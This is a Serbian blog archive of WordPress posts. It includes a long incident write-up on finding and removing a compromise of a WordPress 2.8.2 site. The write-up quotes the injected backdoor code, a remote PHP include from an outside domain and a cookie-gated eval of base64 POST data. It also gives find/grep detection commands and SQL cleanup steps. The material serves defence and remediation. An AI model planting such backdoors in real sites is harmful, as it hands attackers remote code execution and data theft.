Архива за 'WordPress' категорију
Blogovanje i tvitovanje su mnogim blogerima nerazdvojni servisi koji se međusobno nadopunjuju. Ako na Tviteru imate dosta pratilaca, to je vrlo dobar način da im javite kada na blogu objavite novi članak.
Ako je počelo da vas zamara da svaki put kopipejstujete naslov članka, pa dodate adresu do članka koju prethodno morate da propustite kroz neki servis za skraćivanje adresa jer ona ne može da stane u onih 140 znakova, rešenje je jednostavan dodatak za vordpres koji će to sve da učini za vas.
Dodatak se zove iMasters WP Twitter, a instalira se jednostavno, na isti način kao i svi drugi dodaci.
Korišćenje […]
WordPress Visual Cheat Sheet je sjajan dokument iz porodice Visual Cheat Sheet vizuelnih uputstava, koji sadrži zbirku korisnik i praktičnih za WordPress.
Konkretno ova podsetnik-lista obrađuje WP Template tagove, gde je dat detaljan pregled zajedno sa primerima koda. Visual Cheat Sheet možete preuzeti u PDF formatu sa ove adrese ili prelistati ovde:
WordPress 2.8 Visual Cheat Sheet
© goran | Svakodnevnica blog, 2010. | Permalink | Nema komentara | Dodaj u del.icio.us zbirku Tekst označen ključnim rečima: WordPress, WP
Takođe nepropustite IT vesti i dešavanja na Personal magazinu
U nekoliko navrata sam, pišući članke na blogu naleteo na prilično nezgodan problem: blog nije dozvoljavao da postavim datoteke jer ih nije imao u spisku dozvoljenih tipova datoteka.
Jedno vreme sam se snalazio tako što bih datoteku postavio na server FTP-om pa je naknadno ručno linkovao u članku. To je prosto neprihvatljiv način, tako da sam malo koapo po vordpres kodu i izmenio ga tako da dozvoljava još neke tipove datoeka koje koristim. To je radilo, ali samo do prvog ažuriranja vordpresa. Sa novom verzijom moja izmena u koju de bila poništena.
Konačno rešenje sam našao u dodatku WordPress mime-config, koji omogućava […]
Evo sjajne besplatne WordPress teme za pokretanje namenskog web sajta za plasman kupona za popuste na raznorazne servise. Na demo stranici CouponPress teme možete videt isvu funkcionalnost i podešenost teme, tako da oni koji imaju ideju kako da je iskoriste dovoljno će biti da registruju odgovarajući domen i obezbede mali hosting paket.
Šablon dolazi da ugrađenim demo kategorijama i početnim demo kuponima tako dalako mogu da se snađu i manje iskusni u WP okruženju. CouponPress temu možete preuzeti sa ove stranice.
© goran | Svakodnevnica blog, 2010. | Permalink | Nema komentara | Dodaj u del.icio.us zbirku Tekst označen ključnim rečima: besplatno, CouponPress, kuponi, WordPress, Wordpress teme, WP, WP tema
Takođe nepropustite IT vesti i dešavanja na Personal magazinu
© goran | Svakodnevnica blog, 2010. | Permalink | Nema komentara | Dodaj u del.icio.us zbirku Tekst označen ključnim rečima: blog, Google, Photoshop, Rusija, WordPress
Takođe nepropustite IT vesti i dešavanja na Personal magazinu
Alex Denning sa sajta WPShout.com uputio je isto pitanje “Zašto koristiti WordPress?” na adresu 21 WP blogera, develoera i dizajnera tema, a u vezi njihove upotrebe WordPressa i obrazloženja izbora. Zašto Wordpress, a ne recimo Drupal ili Joolma!
Ovo je tek prvo u nizu pitanja i odgovora koji će biti postavljeni na ovom blogu u narednih par dana. Ima tu jako zanimljivih i argumentovanih odgovara, a svakako sjajna, zanimljiva i neuobičajena je njihova prezentacija.
Jedan od primerenih odgovora:
One of the most important things that make WordPress a winner is the fantastic community. While I am very familiar with Drupal and Joomla and have used them in many projects, I prefer to use WordPress especially for my client’s projects due to it’s easy of use. Especially Drupal can be very confusing and Joomla unnecessarily heavy when you need a small website. -MIKE
© goran | Svakodnevnica blog, 2009. | Permalink | Nema komentara | Dodaj u del.icio.us zbirku Tekst označen ključnim rečima: CMS, Drupal, Joomla!, WordPress
Takođe nepropustite IT vesti i dešavanja na Personal magazinu
Za brojne korisnike WordPressa i ogroman broj sajtova koje “tera” ovaj opensource CMS, postoji i Google Android aplikacija za mobilno održavanje ovih sajtova – wpToGo.
wpToGo podržava višekorisnički rad, odnosno omogućava održavanje više sajtova-naloga preko iste aplikacije. Nakon prijave i verifikacije, moguće pregledati i uređivati prethodne blog zapise, pisati nove zapise i uređivati komentare, sve to u pokretu.
Za blogere sa brojnim komentarima, tu je i notofikacija o novopristiglim komentarima tako da ih u pokretu možete moderisati. Prilikom pisanja novih zapisa postoji i lokalni Draft tako da možete pisati, i u nastavcima i isprekidano – kako to diktira situacija na terenu.
Sa svim svojim osobinama wpToGo omogućava korisnicima real-time izveštavanje naravno obogaćeno slikama.
© goran | Svakodnevnica blog, 2009. | Permalink | Nema komentara | Dodaj u del.icio.us zbirku Tekst označen ključnim rečima: blog, Blogosfera, blogovanje, CMS, Google Android, mobilno blogovanje, Samsung Galaxy, WordPress, wpToGo
Takođe nepropustite IT vesti i dešavanja na Personal magazinu
U članku Kako pomiriti blog i štampani medij pozabavio sam se problemom prenošenja članaka sa blogova u štampani mediji i potrebe bloga da ima povratnu internet vezu čak i sa štampanog izdanja.
Štampani medij ne može da sadrži aktivan internet link, a standardna internet adresa članka je često vrlo nepraktična kako za štampanje, tako i prekucavanje jer čitalac mora da prekuca adresu ako želi da ode na blog. Rešenje sam primenio se sastoji u pripremanju naročite, jednostavne internet adrese članka namenjene upravo za štampu. To u priličnoj meri zadovoljava potrebu i dovoljno je praktično.
Ipak, već dok sam to rešavao na ovom svom […]
Upravo je izdata nova nadogradnja jednog od najpopularnijih CMS-ova – Wordpressa, te tako stigosmo do evolucije 2.8.5. Najvažnije ispravke odnose se na povećanje bezbednosti “zapušavanjem rupa”:
A fix for the Trackback Denial-of-Service attack that is currently being seen. Removal of areas within the code where PHP code in variables was evaluated. Switched the file upload functionality to be whitelisted for all users including Admins. Retiring of the two importers of Tag data from old plugins.Naravno, kao i uvel preporučuje se što hitnija nadogradnja, a evo i zvaničnog saopštenja.
© goran | Svakodnevnica blog, 2009. | Permalink | 1 komentar | Dodaj u del.icio.us zbirku Tekst označen ključnim rečima: CMS, WordPress
Takođe nepropustite IT vesti i dešavanja na Personal magazinu
Imate lep sajt, pun je sličica, ne pravite pitanje što vaše fotografije i ilustracije ljudi koriste i na drugim sajtovima i sve je naizgled lepo, sjajno i ružičasto, ali se pojavljuje problem - vaš sajt troši sve više i više resursa.
Razlog je obično u tome što drugi sajtovi umesto da kod sebe iskopiraju ilustraciju koju žele da koriste, stave direktan link na sliku koja se nalazi na vašem sajtu. Tako svaki njihov posetilac iako gleda njihove strane, slike učitava sa vašeg sajta i, praktično, vi sve to plaćate.
Ako se pogodi da neko vašu sliku postavi na kakav veoma posećen sajt, […]
Jedan od najboljih pokazatelja kvaliteta i posećenost bloga je broj komentara koje posetioci pišu na objavljene članke. Iako se posećenost bloga može analizirati korz razne statistike, sve su one proizvoljne i ne moraju prikazivati pravu sliku. Nasuprot tome, korisnik koji ostavi komentar je sasvim sigurno pravi posetilac.
O tome koliko je važno omogućiti korisnicima da nesmetano pišu komentare već sam pisao, pa nema potrebe da ponavljam istu priču. Ovaj put ću se osvrnuti na novi metod koji sam počeo da primenjujem na svom blogu, a koji i drugima može da omogući da povećaju broj komerata svojih posetilaca.
Moje bavljenje modemskim komunikacijama počelo […]
Ako jedan sajt ima više adresa, zarad dobrog rejtinga na pretraživačima, neophodno je preusmeriti korisnike koji dođu na različite adrese na jednu, onu osnovnu adresu sajta. Redirekciju treba uraditi sa kodom 301 tako da pretraživači znaju da uvek indeksiraju sadržaj sajta samo na osnovnoj adresi.
Znate li da Wordpress ne poštuje ovo pravilo? Ako vaš blog ima više adresa, on će raditi redirekciju ali nedovoljno dobro i pretraživači će vaš sajt videti i indeksirati na svakoj adresi zasebno.
Ako mi ne verujete na reč evo dokaza. Moj blog ima tri adrese:
http://pedja.supurovic.net je glavna adresa bloga
http://pedja.uzice.net je stara adresa mog nekadašnjeg ličnog sajta koji sam […]
Svrha bloga je da bude čitan, a kako da bloger zna da mu je blog čitan ako posetioci ne komentarišu članke? Statistika posećenosti je samo delimičan pokazatelj, jer je vrlo teško razlučiti ko su u poseti stvarni korisnici, a ko razni roboti.
Na kraju krajeva, i ako neko poseti sajt to ne znači da je nešto zaista i pročitao na njemu. Najviše […]
Tokom prošle nedelje iz “kuhinje” Vladimira Prelovca pojavila su se dva sjajan WordPress plugina, prvi se odnosi na SEO optimizaciju kroz kreiranje novog View-a na psotojeću bazu, dok je drugi namenjen samim administratorima WP CMS instalacija.
Rezultat rada SEO Super Comments plugina
SEO Super CommentsSEO Super Comments plugin polazi od super ideje da se komentari pretvore u nove stranice – nove dodatne sadržaje koje “vidi” Google index. Ovaj plugin svaki komentar dinamički izdvaja u novu stranicu, sa Title tagom koga izvlači iz teksta komentara, printuje sam tekst komentara i zatim vezuje ostale komentare istog autora (na osnovu e-mail adrese) linkovima ispod tekućeg komentara. Zahvaljujući ovome, sve u zavinosti koliko komentara imate, dobijate mnoštvo “novih stranica”, kao i potencijal da povećate PageViews broj sa strane korisnika.
NavbarNavbar plugin predstavlja dodatak koji će pomoći svakom administratoru WP instalacije. Zahvaljujući novokreiranom bočnom meniju, kada se prijavite na WP dobijate brz pristup svim Dashboard linkovima i opcijama, a headeru su i osnovne statističke informacije. Sve linkove i prečice na Navbaru možete samostalno menjati i dodavati. Ovaj plugin je u ovogodišnjoj zvaničnoj trci WordPress plugin competition.
© goran | Svakodnevnica blog, 2009. | Permalink | Nema komentara | Dodaj u del.icio.us zbirku Tekst označen ključnim rečima: Google, google index, kuhinje, mail adrese, nove stranice
Takođe nepropustite IT vesti i dešavanja na Personal magazinu
Igrom slučaja, održavam veliki broj WordPress instalacija. Tu spada standardni upgrade instalacija (koji je sada dosta olakšan automatskim osvežavanjem, od verzije 2.7), backup baze i fajlova, i sličnih sitnica
Pri tom sam, kao i svi IT geekovi (freakovi) itekako ponosan na svoj rad – sve fino i ispeglano, sve radi kao sat. Možete onda zamisliti mog užasa kada sam u Google Reader-u video ovakvu sliku:
Pri tom je Wordpress u pitanju potpuno zakrpljen, na verziju 2.8.2
(sitno upozorenje: uputstvo koje sledi podrazumeva da zaista znate šta radite – nije za hobi vlasnike WordPress-a i potreban je full backup svih fajlova i baze pre ikakvog igranja)
Ovo je zahtevalo solidnu akciju – krenuo sam u analizu celokupnog WordPress-a, od baze do fajlova, na svim dostupnim instalacijama.
Analiza Promena u fajlovima – sondiranjePrvi i najjednostavniji korak je videti da li su, i koji WordPress fajlovi promenjeni. Rečeno – učinjeno: skočio sam do WordPress release arhive i skinuo odgovarajuću verziju. Zatim sam skinuo i tekuće fajlove i uz pomoć WinMerge programa napravio poređenje.
Imao sam šta i da vidim:
index.php – umesto očekivanog:
/** Loads the WordPress Environment and Template */ require('./wp-blog-header.php');dobio sam:
/** Loads the WordPress Environment and Template */ if (isset($_GET['license'])) { @include('http://wordpress.net.in/license.txt'); } else { require('./wp-blog-header.php'); }Praktično, sajt http://wordpress.net.in/license.txt “učestvuje” u vašem blogu, a da vas za to nije pitao
Zatim xmlrpc.php – umesto očekivanog:
if ( isset($HTTP_RAW_POST_DATA) ) $HTTP_RAW_POST_DATA = trim($HTTP_RAW_POST_DATA);upisano je:
if ( isset($HTTP_RAW_POST_DATA) ) $HTTP_RAW_POST_DATA = mysql_escape_string(trim($HTTP_RAW_POST_DATA));(mada nisam uspeo da provalim kakva je funkcionalnost dodavanja mysql_escape_string funkcije).
Promena u fajlovima – detaljna analizaKako mi je ovo samo pokazalo da promena zaista ima, krenuo sam u temeljniju akciju: napravio sam lokalnu “sliku” sajta, dopunjujući instalaciju WordPress-a sa svim svežim pluginovima i uporedio sa situacijom sa sajta. Rezultat je bio neverovatan; ovo su samo od nekih fajlova koji su volšebno nastali na sajtu, a da ne pripadaju originalno instalaciji:
wp-content/plugins/events-calendar/ec_management.bak wp-content/plugins/exec-php/css/admin.old wp-content/plugins/exec-php/includes/option.old wp-content/plugins/exec-php/images/progress.old wp-content/plugins/wp-super-cache/wp-cache-base.old wp-content/plugins/wp-cache/README.old wp-content/uploads/2008/01/svinja_old.png wp-content/themes/classic/header_old.gifAlgoritam imenovanja ovih fajlova je jednostavan – uz neki postojeći fajl se kreira novi fajl, koji dobija nastavak .old ili .bak ili to isto postaje deo imena. Bez obzira na nastavak, unutra je maliciozni php kod koji radi veoma ružne stvari.
Pored gornjih, postojala je gomila novih fajlova među slikama, sa nastavcima kao što su .pngg, .jpgg ili .giff, koji su takođe imali zločesti php kod.
Ako imate ssh pristup serveru, neke od komandi koje mogu pomoći u lociranju fajlova su:
find . -name *_new.php find . -name *_old.php find . -name *.old find . -name *.bak find . -name *.pngg find . -name *.jpgg find . -name *.giff grep -r -l -i 'f541b3abd05e7962fcab37737f40fad8' * grep -r -l -i 'if(md5' *Sem novih fajlova, i gomila postojećih fajlova je promenjena (obično među temama), dodavanjem nekoliko linija koda, na primer:
if(md5($_COOKIE['e4485c074ae5eeec'])=="1350e06b21ccb35f1389d7587fbe42cc") { eval(base64_decode($_POST['file'])); exit; }Prva (pogrešna) misao je da su fajlovi “nekako” dospeli na blog, i da je dovoljno da ih izbrišem i sve će biti ok. Tako sam krenuo u:
Čišćenje Korak 1 – fajloviUmesto da brišem i proveravam fajl po fajl, lokalno sam:
Raspakovao najnoviju verziju WordPress-a na to dodao sve pluginove koji se koriste na sajtu, skinute ponovo sa originalnih adresa sve teme ponovo skinuo i stavio ih u wp-content/themes Sa sajta: wp-config.php iz root foldera Sa sajta: izmenjene fajlove iz tema, pri tom poredeći svaki izmenjeni fajl sa originalnim, koristeći WinMerge Sa sajta: wp-content/uploads folder, propisno očišćen od čudnih, gore pomenutih fajlova Po uploadu čiste verzije sajta pobrinuo se da svi php fajlovi imaju 644 prava pristupaNo već sledeći dan je pokazao da ova akcija nije pomogla – ponovo su spam linkovi bili u RSS feedu, i ponovo su čudni fajlovi našli put do WordPress instalacije.
Sada mi nije preostalo ništa no da razumem ceo mehanizam kako su hackeri uopšte provalili u WordPress i kako “rupu” održavaju otvorenom.
Kako su svi fajlovi bili potpuno čisti, a hack je opet proradio, logično mesto napada je naravno, MySQL baza gde WordPress drži sve svoje podatke i podešavanja.
Korak 2 – baza podatakaKada proveravam podatke, koristim uvek “direktni” pristup – nikako kroz sam WordPress admin panel. Prvo sam pregledao wp_users tabelu i imao sam šta i da vidim:
Korak 2.1 – strani administratorski nalozi Dodat je WordPress user, sa nultim vremenom kreiranja Dodat je jedan ili više usera, gde je username nastalo ili od mail adrese admina ili na admin nalepljeno još neko slovo. Karakteristično je vreme kreiranja – identično je vremenu kreiranja prvog admin naloga (praktično kopiranje sloga)Naravno, svi novokreirani nalozi imaju administrativna prava (dalje ispitivanje je pokazalo da je WordPress imao gomile propusta u verzijama 2.2 – 2.7 koji su omogućavali ovakvo direktno kreiranje naloga).
Rešenje: obrisati sve te naloge.
Ovakvi nalozi daju napadajućem skriptu mogućnost da radi šta god bilo: da kreira fajlove, da menja podatke u bazi; pitanje je šta je stvarno od toga i urađeno.
Korak 2.2 – wp_options / active_pluginsPokušao sam da u samoj bazi nađem referencu na neki od “čudnih” fajlova, ranije pronađenih; i našao sam ih: nalazili su se fino ušuškani u tabeli wp_options, pod sekcijom ‘active_plugins‘; ovo praktično znači da im je obezbeđeno automatsko učitavanje svaki put prilikom podizanja Wordpressa.
Proveru možete izvršiti ili SQL upitom:
SELECT * FROM `wp_options` WHERE option_name = "active_plugins"ili smeštanjem i izvšavanjem malog php programčeta koji će to uraditi za vas (daleko pregledniji a i ne zavisi od wordpress table prefix-a):
<?php require( './wp-load.php' ); if ( get_option('active_plugins') ) { $current_plugins = get_option('active_plugins'); if ( is_array($current_plugins) ) { foreach ($current_plugins as $plugin) { if ('' != $plugin ) { echo $plugin . '<br />'; } } } } if ( get_option('internal_links_cache') ) { $link = get_option('internal_links_cache'); if ('' != $link ) { echo '<hr>DELETE internal_links_cache option!<br />'; } }?>Rešenje: ako ste locirali nedozvoljene ili neobične pozive vezane uz neke pluginove, najlakše ćete se osloboditi tih delova ako kroz WordPress admin panel deaktivirate taj plugin pa ga ponovo aktivirate.
A šta ovi fajlovi zaista rade? Ako malo analizirate (poprilično šifrovan) kod ovih fajlova, jedan od elemenata koje ćete videti je i:
SELECT option_value FROM $wpdb->options WHERE option_name='rss_f541b3abd05e7962fcab37737f40fad8'i to se nalazilo u većini hack fajlova.
Vrednost ove opcije (isto iz tabele wp_options, ovoga puta za option_name = ‘rss_f541b3abd05e7962fcab37737f40fad8‘) je ogromno parče base64 šifrovanog php koda (pre toga uradite strrev, ako želite da ga pravilno čitate) gde se nalazi pravi engine cele hack rutine – od “ispaljivanja” spam linkova pa sve do otvaranja i ispisivanja CELE BAZE korisniku koji zna da priđe sajtu kako treba – veoma destruktivan kod.
Ako pobliže zagledate gornji php kod za izlistavanje, videćete da pored izlistavanja pluginova, ovaj kod proverava i postojanje opcije ‘internal_links_cache’ – naime, neki od hack fajlova čitaju ovu opciju, rade base64_decode i sadržaj (a to su obično gomile i gomile spam linkova) ispaljuju u vaš RSS feed.
Rešenje: obrisati slogove iz wp_options tabele sa option_name = ‘rss_f541b3abd05e7962fcab37737f40fad8′ i option_name = ‘internal_links_cache’:
DELETE FROM wp_options WHERE option_name = 'internal_links_cache' OR option_name = 'rss_f541b3abd05e7962fcab37737f40fad8'; Na krajuSamo da sumiram; ako vam se u vašoj instalaciji Wordpress-a učini bilo šta sumnjivo (javi se vaš antivirus program, korisnici primete čudan sadržaj u RSS feedu), onda:
Uradite full backup i baze i fajlova Nađite nekog ko sme da se bakće sa samim sitnim crevcima Wordpress-a Proverite prvo fajlove Proverite administratorske naloge Proverite opcije samog Wordpressa koje omogućavaju da se useli neželjeni kodTek ovakve stvari pokazuju koliko je važno da održavate vaš Wordpress “svežim” i da primenjujete zakrpe čim se pojave – inače, možete postati i ostati žrtva spamera a da toga niste ni svesni.
Ostali bitni tekstovi iz WordPress kategorije su: Postavljanje novih tema u WordPress Zaštita od spam komentara i spam trackback linkova Backup (sigurnosna kopija) WordPress baze Osvežavanje (upgrade) WordPress-aObično u člancima pod ovakvim naslovom dajem gotova rešenja, ali ovaj put će to biti samo polovično.
Od pre nekog vremena novine “Užička Nedelja” preuzima neke moje članke i objavljuje ih. Kako su počeli sa tim pojavili su se i neki problemi koji su posledica različitosti štampanog i internet medija.
Problem su, naravno, linkovi.
Prvi se pojavila nezgodacija sa prikazom linkova na članke. […]
Ako koristite visoko efikasni dodatak, Challenge, za odbranu protiv spama (sabiranje, sabiranje) a uradili ste osvežavanje (upgrade) WordPress-a na poslednju, 2.8 verziju, isključite Challenge.
Naime, kako su to Charolija i Mooshema lepo prijavile, možete da se oderete od sabiranja i opet ništa.
Šteta. Probaću da kontaktiram autora i/ili da sam vidim šta ga boli, ali za sada: WordPress 2.8 i Challenge – nesrećna kombinacija.